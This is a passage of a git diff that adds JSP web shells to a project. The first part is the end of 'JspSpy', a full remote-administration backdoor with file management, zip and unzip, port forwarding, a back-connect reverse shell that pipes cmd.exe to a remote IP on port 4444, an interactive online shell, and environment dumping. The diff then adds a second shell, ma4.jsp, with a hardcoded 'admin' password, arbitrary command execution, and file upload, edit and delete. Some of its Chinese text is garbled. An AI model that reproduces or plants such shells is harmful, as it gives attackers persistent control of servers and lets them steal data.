doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    PortMap >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

    "+ +" "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    Back Connect >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

    "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

    System Properties >>

    "+ +"
    "+ +"
    "+ +"
      "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
    • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
    • "); +} +out.println("

    System Environment >>


      "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
    • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
    • "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
    Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
    "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "); +out.println("

    Shell OnLine »


    "); +out.println("
    "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
    "+ +"
    "+ +" "+ +"
    "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
    "+ +" " +); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//错误信息流?? +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
    "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> \ No newline at end of file diff --git a/jsp/ma4.jsp b/jsp/ma4.jsp new file mode 100644 index 0000000..58daa09 --- /dev/null +++ b/jsp/ma4.jsp @@ -0,0 +1,1780 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> + +<%! +//it's explame +private String _password = "admin"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; +//it's explame +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} +//it's explame +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
    "); + + return str; +} +//it's explame +public String Unicode2GB(String str) { + String sRet = null; + //it's explame + try { + sRet = new String(str.getBytes("ISO8859_1"), _encodeType); + } catch (Exception e) { + sRet = str; + } + + return sRet; +} +//it's explame +public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + //it's explame + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + //it's explame + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "bad command \"" + cmd + "\""; + } finally { + return retStr; + } +} +//it's explame +public String pathConvert(String path) { + String sRet = path.replace('\\', '/'); + File file = new File(path); + //it's explame + if (file.getParent() != null) { + if (file.isDirectory()) { + if (! sRet.endsWith("/")) + sRet += "/"; + } + } else { + if (! sRet.endsWith("/")) + sRet += "/"; + } + //it's explame + return sRet; +} + +public String strCut(String str, int len) { + String sRet; + //it's explame + len -= 3; + + if (str.getBytes().length <= len) { + sRet = str; + } else { + try { + sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; + } catch (Exception e) { + sRet = str; + } + } + + return sRet; +} +//it's explame +public String listFiles(String path, String curUri) { + File[] files = null; + File curFile = null; + String sRet = null; + int n = 0; + boolean isRoot = path.equals(""); + //it's explame + path = pathConvert(path); + + try { + if (isRoot) { + files = File.listRoots(); + } else { + try { + curFile = new File(path); + String[] sFiles = curFile.list(); + files = new File[sFiles.length]; + + for (n = 0; n < sFiles.length; n ++) { + files[n] = new File(path + sFiles[n]); + } + } catch (Exception e) { + sRet = "bad path \"" + path + "\""; + } + } + //it's explame + if (sRet == null) { + sRet = "\n"; + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + //it's explame + if (curFile != null) { + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + } + //it's explame + sRet += "\n"; + //it's explame + sRet += " \n"; + //it's explame + for (n = 0; n < files.length; n ++) { + sRet += " \n"; + //it's explame + if (! isRoot) { + sRet += " \n"; + if (files[n].isDirectory()) { + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + } + sRet += " \n"; + sRet += "
    \n"; + sRet += "  ϼĿ¼ "; + sRet += "Ŀ¼ "; + sRet += "½ļ "; + sRet += "ɾ "; + sRet += " "; + sRet += " "; + sRet += "ϴļ\n"; + sRet += " \n"; + sRet += "
    <" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
    \n"; + } + } catch (SecurityException e) { + sRet = "security violation, no privilege."; + } + + return sRet; +} + +public boolean isTextFile(String extName) { + int i; + boolean bRet = false; + + if (! extName.equals("")) { + for (i = 0; i < _textFileTypes.length; i ++) { + if (extName.equals(_textFileTypes[i])) { + bRet = true; + break; + } + } + } else { + bRet = true; + } + + return bRet; +} + +public String getExtName(String fileName) { + String sRet = ""; + int nLastDotPos; + //it's explame + fileName = pathConvert(fileName); + //it's explame + nLastDotPos = fileName.lastIndexOf("."); + + if (nLastDotPos == -1) { + sRet = ""; + } else { + sRet = fileName.substring(nLastDotPos + 1); + } + + return sRet; +} + +public String browseFile(String path) { + String sRet = ""; + File file = null; + FileReader fileReader = null; + //it's explame + path = pathConvert(path); + //it's explame + try { + file = new File(path); + fileReader = new FileReader(file); + String fileString = ""; + char[] chBuffer = new char[1024]; + int ret; + + sRet = "\n"; + //it's explame + } catch (IOException e) { + sRet += "\n"; + } + + return sRet; +} +//it's explame +public String openFile(String path, String curUri) { + String sRet = ""; + boolean canOpen = false; + int nLastDotPos = path.lastIndexOf("."); + String extName = ""; + String fileString = null; + File curFile = null; + //it's explame + path = pathConvert(path); + //it's explame + if (nLastDotPos == -1) { + canOpen = true; + } else { + extName = path.substring(nLastDotPos + 1); + canOpen = isTextFile(extName); + } + + if (canOpen) { + try { + fileString = ""; + curFile = new File(path); + FileReader fileReader = new FileReader(curFile); + char[] chBuffer = new char[1024]; + int nRet; + + while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { + fileString += new String(chBuffer, 0, nRet); + } + //it's explame + fileReader.close(); + } catch (IOException e) { + fileString = null; + sRet = "ܴļ\"" + path + "\""; + } catch (SecurityException e) { + fileString = null; + sRet = "ȫ⣬ûȨִиò"; + } + } else { + sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; + } + + if (fileString != null) { + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += "
    [ϼĿ¼]
    \n"; + sRet += " \n"; + sRet += "
     
    \n"; + } + + return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path); + + if (! file.canWrite()) { + sRet = "ļд"; + } else { + FileWriter fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + + fileWriter.close(); + sRet = "ļɹڷأԺ򡭡\n"; + sRet += "\n"; + } + } catch (IOException e) { + sRet = "ļʧ"; + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } + + return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { + String sRet = ""; + File folder = null; + + path = pathConvert(path); + + try { + folder = new File(path + folderName); + + if (folder.exists() && folder.isDirectory()) { + sRet = "\"" + path + folderName + "\"Ŀ¼Ѿ"; + } else { + if (folder.mkdir()) { + sRet = "ɹĿ¼\"" + pathConvert(folder.getPath()) + "\"ڷأԺ򡭡\n"; + sRet += ""; + } else { + sRet = "Ŀ¼\"" + folderName + "\"ʧ"; + } + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } + + return sRet; +} + +public String createFile(String path, String curUri, String fileName) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path + fileName); + + if (file.createNewFile()) { + sRet = ""; + } else { + sRet = "\"" + path + fileName + "\"ļѾ"; + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } catch (IOException e) { + sRet = "ļ\"" + path + fileName + "\"ʧ"; + } + + return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { + String sRet = ""; + File tmpFile = null; + + try { + for (int i = 0; i < files2Delete.length; i ++) { + tmpFile = new File(files2Delete[i]); + if (! tmpFile.delete()) { + sRet += "ɾ\"" + files2Delete[i] + "\"ʧ
    \n"; + } + } + + if (sRet.equals("")) { + sRet = "ɾɹڷأԺ򡭡\n"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò\n"; + } + + return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + FileWriter fileWriter = null; + + try { + file = new File(path); + + if (file.createNewFile()) { + fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + fileWriter.close(); + + sRet = ""; + } else { + sRet = "ļ\"" + path + "\"Ѿ"; + } + } catch (IOException e) { + sRet = "ļ\"" + path + "\"ʧ"; + } + + return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { + String sRet = ""; + File file = null; + InputStream in = null; + + path = pathConvert(path); + + try { + in = request.getInputStream(); + + byte[] inBytes = new byte[request.getContentLength()]; + int nBytes; + int start = 0; + int end = 0; + int size = 1024; + String token = null; + String filePath = null; + + // + // һֽ + // + while ((nBytes = in.read(inBytes, start, size)) != -1) { + start += nBytes; + } + + in.close(); + // + // ֽеõļָ + // + int i = 0; + byte[] seperator; + + while (inBytes[i] != 13) { + i ++; + } + + seperator = new byte[i]; + + for (i = 0; i < seperator.length; i ++) { + seperator[i] = inBytes[i]; + } + + // + // õHeader + // + String dataHeader = null; + i += 3; + start = i; + while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { + i ++; + } + end = i - 1; + dataHeader = new String(inBytes, start, end - start + 1); + + // + // õļ + // + token = "filename=\""; + start = dataHeader.indexOf(token) + token.length(); + token = "\""; + end = dataHeader.indexOf(token, start) - 1; + filePath = dataHeader.substring(start, end + 1); + filePath = pathConvert(filePath); + String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + + // + // õļݿʼλ + // + i += 4; + start = i; + + /* + boolean found = true; + byte[] tmp = new byte[seperator.length]; + while (i <= inBytes.length - 1 - seperator.length) { + + for (int j = i; j < i + seperator.length; j ++) { + if (seperator[j - i] != inBytes[j]) { + found = false; + break; + } else + tmp[j - i] = inBytes[j]; + } + + if (found) + break; + + i ++; + }*/ + + // + // ͵İ취 + // + end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + + // + // Ϊļ + // + File newFile = new File(path + fileName); + newFile.createNewFile(); + FileOutputStream out = new FileOutputStream(newFile); + + //out.write(inBytes, start, end - start + 1); + out.write(inBytes, start, end - start + 1); + out.close(); + + sRet = "\n"; + } catch (IOException e) { + sRet = "\n"; + } + + sRet += ""; + return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = 